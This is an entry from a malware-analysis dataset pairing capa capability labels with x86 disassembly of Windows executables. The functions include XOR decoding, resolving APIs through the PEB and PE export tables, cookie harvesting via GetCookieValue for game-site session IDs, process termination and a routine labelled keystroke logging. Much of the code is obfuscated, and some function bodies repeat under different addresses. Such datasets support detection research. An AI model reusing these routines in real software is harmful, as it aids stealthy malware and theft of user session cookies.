joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409fb199
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x409fb0e2
add ebx, 0
push ecx
call 0x409fb0f7
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x71c161d1
sub ebx, dword [0x71c35a10]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x71c35a00
call fcn.409f6bc1
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.409f60cf
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x409fb255
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x409fb255
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x409fb20c
mov eax, 1
lock xchg dword [0x71c35a0c], eax
push 0x3dd1fc71
call 0x409fb199
push esi
add esp, 8
cmp eax, 0
jne 0x409fb182
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x409fb1a8
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x409fb1bd
cmp ecx, edx
cmp eax, 0
je 0x409fb1e2
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x409fb1cc
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.409fb1fb
dec eax
loope 0x409fb1fe
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x71c35a0c], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x409fb232
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x409fb247
jmp 0x409fb252
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x409fb140
Function at 0x40a022ba
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x40a02590
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x71c22684
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x71c1964a
push 0xffffffffffffffff
call fcn.409f94ba
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x40a02324
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.40a0233c
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x40a02584
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x40a02558
Function at 0x40a11d8a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x40a11dac
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x40a11dac
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x40a11dac
ret
cmp word [ebx + 4], 0x14c
jne 0x40a11dac
test word [ebx + 0x16], 2
je 0x40a11dac
test word [ebx + 0x16], 0x100
je 0x40a11dac
cmp word [ebx + 0x18], 0x10b
jne 0x40a11dac
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x40a11dac
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x40a11e38
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x40a11dcc
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.409f8d17
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x40a11dac
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x40a11e38
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x40a11dac
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x40a11dac
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x40a11dac
ret
cmp word [ebx + 4], 0x14c
jne 0x40a11dac
test word [ebx + 0x16], 2
je 0x40a11dac
test word [ebx + 0x16], 0x100
je 0x40a11dac
cmp word [ebx + 0x18], 0x10b
jne 0x40a11dac
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x40a11dac
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x40a11e38
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x40a11dcc
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.409f8d17
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x40a11dac
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x40a11eef
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x40a11f48
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x40a11eef
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x40a11efe
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x40e17ba1
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x40a11f4f
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.409f8dc5
cmp eax, dword [ebp + 0xc]
pop eax
je 0x40a11fee
add edi, 4
add eax, 2
dec ecx
jne 0x40a11f34
call 0x40a11f9b
loope 0x40a11f91
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x40a11feb
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x40a11ffc
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x40a11faf
cmp eax, ecx
ja 0x40a11faf
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x40a12039
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x40a1202f
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.409f92a4
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x40a11efe
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x40a11f48
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x40a11eef
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x40a11efe
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x40e17ba1
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x40a11f4f
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.409f8dc5
cmp eax, dword [ebp + 0xc]
pop eax
je 0x40a11fee
add edi, 4
add eax, 2
dec ecx
jne 0x40a11f34
call 0x40a11f9b
loope 0x40a11f91
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x40a11feb
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x40a11ffc
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x40a11faf
cmp eax, ecx
ja 0x40a11faf
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x40a12039
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x40a1202f
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.409f92a4
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x4016e0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x451b80
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1220
call fcn.00432f70
mov eax, dword [0x46dec0]
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push str.bcr.dll
mov dword [ebp - 0x14], eax
mov eax, dword [0x46f490]
push eax
push str._s_s
mov dword [ebp - 0x1220], ecx
lea ecx, [ebp - 0x21c]
push 0x104
push ecx
call fcn.00433724
mov edx, dword [0x46f490]
push str.bcr.dll
push str.patch
push edx
push str._s_s_s
lea eax, [ebp - 0x118]
push 0x104
push eax
call fcn.00433724
add esp, 0x2c
xor esi, esi
push esi
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40182c
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, esi
mov dword [ebp - 0x1224], eax
je 0x40182c
push str.GetCookieValue
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
cmp ebx, esi
je 0x40181f
mov dword [ebp - 4], esi
mov dword [ebp - 0x1228], esi
mov dword [ebp - 0x1230], str.duoyi.com
mov dword [ebp - 0x122c], str.henhaoji.com
mov edi, str.pfsid
lea esi, [ebp - 0x1230]
mov eax, dword [esi]
test eax, eax
je 0x40181f
push 0x1000
lea ecx, [ebp - 0x121c]
push ecx
push edi
push eax
call ebx
test al, al
je 0x401845
mov edi, dword [ebp - 0x1220]
lea eax, [ebp - 0x121c]
lea ecx, [edi + 8]
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401802
sub eax, esi
push eax
lea edx, [ebp - 0x121c]
push edx
call fcn.004015c0
mov dword [edi + 4], 1
mov eax, dword [ebp - 0x1224]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.00432fde
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
add esi, 4
jmp 0x4017d6

Function at 0x402420
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x451c78
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
call fcn.00444b67
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0xc], eax
mov eax, dword [0x46f490]
push str.game.ini
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
mov dword [esp + 0x28], 0
call fcn.00402400
mov ebx, dword [esp + 0x1c]
add esp, 0x10
shl esi, 4
mov edx, dword [esi + 0x4549f8]
mov eax, dword [esi + 0x4549fc]
push ebx
push edx
push eax
push str.Game
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov edi, eax
cmp edi, dword [esi + 0x4549f0]
jl 0x4024a6
cmp edi, dword [esi + 0x4549f4]
jle 0x4024ac
mov edi, dword [esi + 0x4549f8]
lea eax, [ebx - 0x10]
mov dword [esp + 0x18], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4024ce
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 0x10]
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x402660
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x451cb8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
mov eax, dword [0x46dec0]
push ebp
mov dword [esp + 0x28], eax
call fcn.00444b67
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 4], eax
mov eax, dword [0x46f490]
push str.game.ini
push eax
lea ecx, [esp + 0xc]
push str._s_s
push ecx
mov dword [esp + 0x44], 0
call fcn.00402400
mov ebp, dword [esp + 0x14]
add esp, 0x10
push ebp
push 0x20
lea edx, [esp + 0x10]
push edx
push 0x454ccc
push str.screenresolution
push str.Game
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push esi
push edi
push 0x454cb0
lea eax, [esp + 0x14]
push 0x20
push eax
call fcn.00433953
add esp, 0x14
cmp eax, 2
jne 0x402700
cmp dword [edi], 0
jle 0x402700
cmp dword [esi], 0
jg 0x402714
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call ebx
push 1
mov dword [edi], eax
call ebx
mov dword [esi], eax
pop ebx
lea eax, [ebp - 0x10]
mov dword [esp + 0x34], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
pop ebp
jg 0x402737
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x24]
call fcn.00432fde
add esp, 0x34
ret

Function at 0x402750
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x451cb8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
mov eax, dword [0x46dec0]
push esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push edi
push 0
mov dword [esp + 0x30], eax
call esi
push 1
mov edi, eax
call esi
push eax
push edi
push str._d__d
lea eax, [esp + 0x18]
push 0x20
push eax
call fcn.00433724
add esp, 0x14
call fcn.00444b67
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 8], eax
mov eax, dword [0x46f490]
push str.game.ini
push eax
lea ecx, [esp + 0x10]
push str._s_s
push ecx
mov dword [esp + 0x48], 0
call fcn.00402400
mov esi, dword [esp + 0x18]
add esp, 0x10
push esi
lea edx, [esp + 0x10]
push edx
push str.screenresolution
push str.Game
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
lea eax, [esi - 0x10]
mov dword [esp + 0x38], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
pop edi
pop esi
jg 0x40280f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x24]
call fcn.00432fde
add esp, 0x34
ret
Function at 0x4065b0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push edi
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov dword [esp + 4], eax
lea ecx, [esp + 4]
push ecx
mov ecx, dword [esp + 0x60]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
push eax
push eax
push eax
push eax
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x80]
push eax
push ecx
mov dword [esp + 0x3c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
jne 0x406610
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
or edx, 1
add esp, 0x54
ret
mov edx, dword [esp]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x60]
test eax, eax
mov ecx, dword [esp]
je 0x40663e
mov edx, dword [esp + 4]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov edx, dword [esp + 8]
mov dword [eax + 8], edx
mov edx, dword [esp + 0xc]
mov dword [eax + 0xc], edx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov eax, dword [esp + 8]
push eax
call esi
xor eax, eax
xor edx, edx
pop esi
add esp, 0x54
ret

Function at 0x406fe0
Capabilities:
Access peb ldr_data
Enumerate gui resources

Disassembly:
push 0xffffffffffffffff
push 0x452088
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push esi
xor esi, esi
call fcn.00444b67
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 4], eax
mov eax, dword [0x46f104]
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0x28], esi
call fcn.00411960
lea edx, [esp + 0xc]
push str.__id
push edx
call fcn.00411960
lea eax, [esp + 0x14]
push 0x454d80
push eax
call fcn.00411960
lea ecx, [esp + 0x1c]
push str.__path
push ecx
call fcn.00411960
mov edx, dword [0x46f490]
push edx
lea eax, [esp + 0x28]
push eax
call fcn.00411960
mov edx, dword [esp + 0x2c]
mov eax, dword [0x46f104]
lea ecx, [esp + 0x30]
push ecx
push esi
push edx
push eax
call fcn.0040af20
add esp, 0x38
cmp edx, esi
je 0x407097
push eax
push 0xcd
push str._MAINDLG:_d_Run_err:_u
push 0x46f474
call fcn.0040ac70
add esp, 0x10
jmp 0x4070ac
lea ecx, [esp + 8]
push ecx
push 0x406710
call dword [sym.imp.USER32.dll_EnumWindows]
mov esi, 1
mov eax, dword [esp + 4]
add eax, 0xfffffff0
mov dword [esp + 0x20], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4070d2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 0x18]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x20
ret
Function at 0x407670
Capabilities:
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x4520eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xa0
push ebx
push esi
xor ebx, ebx
push edi
mov dword [esp + 0x10], ecx
mov esi, 1
mov dword [esp + 0xc], ebx
lea ecx, [ecx]
mov ecx, dword [esp + 0x10]
call fcn.00407500
mov edi, eax
test edi, edi
je 0x407765
cmp edi, dword [esp + 0xc]
je 0x407765
test ebx, ebx
mov dword [esp + 0xc], edi
jne 0x407720
push ebx
lea ecx, [esp + 0x20]
call fcn.004037f0
push 0x455eb0
push 2
lea eax, [esp + 0x1c]
push eax
push 0x455e84
lea ecx, [esp + 0x2c]
mov dword [esp + 0xc4], ebx
mov dword [esp + 0x24], 0x455e78
mov dword [esp + 0x28], 0x455e6c
call fcn.00403860
mov esi, eax
neg esi
sbb esi, esi
lea ecx, [esp + 0x1c]
inc esi
mov ebx, 1
mov dword [esp + 0xb4], 0xffffffff
call fcn.00403840
test esi, esi
je 0x407765
push edi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x40775d
push 1
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x407754
push 0x1f4
mov esi, 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x407756
xor esi, esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jne 0x4076a0
mov ecx, dword [esp + 0xac]
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0xac
ret
Function at 0x408b20
Capabilities:
Log keystrokes

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x408bda
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push ebx
push edi
mov esi, eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ebp, dword [sym.imp.USER32.dll_AttachThreadInput]
mov ebx, dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov edi, eax
cmp esi, edi
je 0x408b99
push 1
push edi
push esi
call ebp
push 0
lea ecx, [esp + 0x14]
push ecx
push 0
push 0x2000
call ebx
push 3
push 0
push 0
push 0x2001
call ebx
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_AllowSetForegroundWindow]
mov edx, dword [esp + 0x1c]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov eax, dword [esp + 0x1c]
push 1
push eax
call dword [sym.imp.USER32.dll_SwitchToThisWindow]
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.USER32.dll_BringWindowToTop]
cmp esi, edi
je 0x408bd6
mov edx, dword [esp + 0x10]
push 3
push edx
push 0
push 0x2001
call ebx
push 0
push edi
push esi
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x4092e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [ecx + 0x70]
push ebx
xor ebx, ebx
cmp eax, ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
je 0x409301
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push ebx
push ebx
push str.1.5.4
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
call fcn.0041d260
add esp, 0x10
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4094b2
push eax
call fcn.0041b960
add esp, 4
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x4094b2
mov eax, dword [ebp - 4]
push 0x40
push 0x434008
push eax
call fcn.0041a2f0
push ebx
push eax
call fcn.00434084
add esp, 0x14
test eax, eax
jne 0x4094b2
push 0x4566f8
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
cmp edi, ebx
je 0x4094b2
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
cmp esi, ebx
je 0x4094b2
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x4094b2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
je 0x4094b2
mov edx, dword [ebp - 4]
push 0x409280
lea ecx, [ebp - 0x2c]
push ecx
push edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], ebx
call fcn.0041d450
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push ebx
push ebx
push eax
push ecx
call fcn.0041d060
mov eax, dword [ebp - 8]
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0xc], ebx
mov ebx, dword [eax]
mov dword [edi + 0x74], ebx
mov esi, dword [eax + 4]
mov dword [edi + 0x78], esi
movzx edx, byte [eax + 0x19]
push eax
mov eax, dword [ebp - 4]
push eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], edx
call fcn.0041d3a0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
add esp, 0x24
cmp eax, 6
jne 0x4094b0
imul esi, ebx
shl esi, 2
push esi
call fcn.00449896
mov ecx, dword [ebp - 0x14]
mov dword [edi + 0x70], eax
mov esi, eax
xor eax, eax
add esp, 4
test ecx, ecx
mov dword [ebp - 0x10], eax
jle 0x4094a9
mov edi, edi
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx + eax*4]
lea edi, [ecx + ebx*4]
cmp ecx, edi
jae 0x40949e
lea ecx, [ecx]
movzx edx, byte [ecx + 3]
movzx eax, byte [ecx + 2]
imul eax, edx
cdq
and edx, 0xff
add eax, edx
sar eax, 8
mov byte [esi], al
movzx edx, byte [ecx + 1]
movzx eax, byte [ecx + 3]
imul eax, edx
cdq
and edx, 0xff
add eax, edx
sar eax, 8
mov byte [esi + 1], al
movzx edx, byte [ecx + 3]
movzx eax, byte [ecx]
inc esi
imul eax, edx
cdq
and edx, 0xff
add eax, edx
sar eax, 8
inc esi
mov byte [esi], al
mov al, byte [ecx + 3]
inc esi
mov byte [esi], al
add ecx, 4
inc esi
cmp ecx, edi
jb 0x409440
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
inc eax
cmp eax, ecx
mov dword [ebp - 0x10], eax
jl 0x409430
mov dword [ebp - 0x10], 1
xor ebx, ebx
cmp dword [ebp - 4], ebx
jne 0x4094bc
cmp dword [ebp - 8], ebx
je 0x4094cd
push ebx
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.0041d290
add esp, 0xc
mov eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret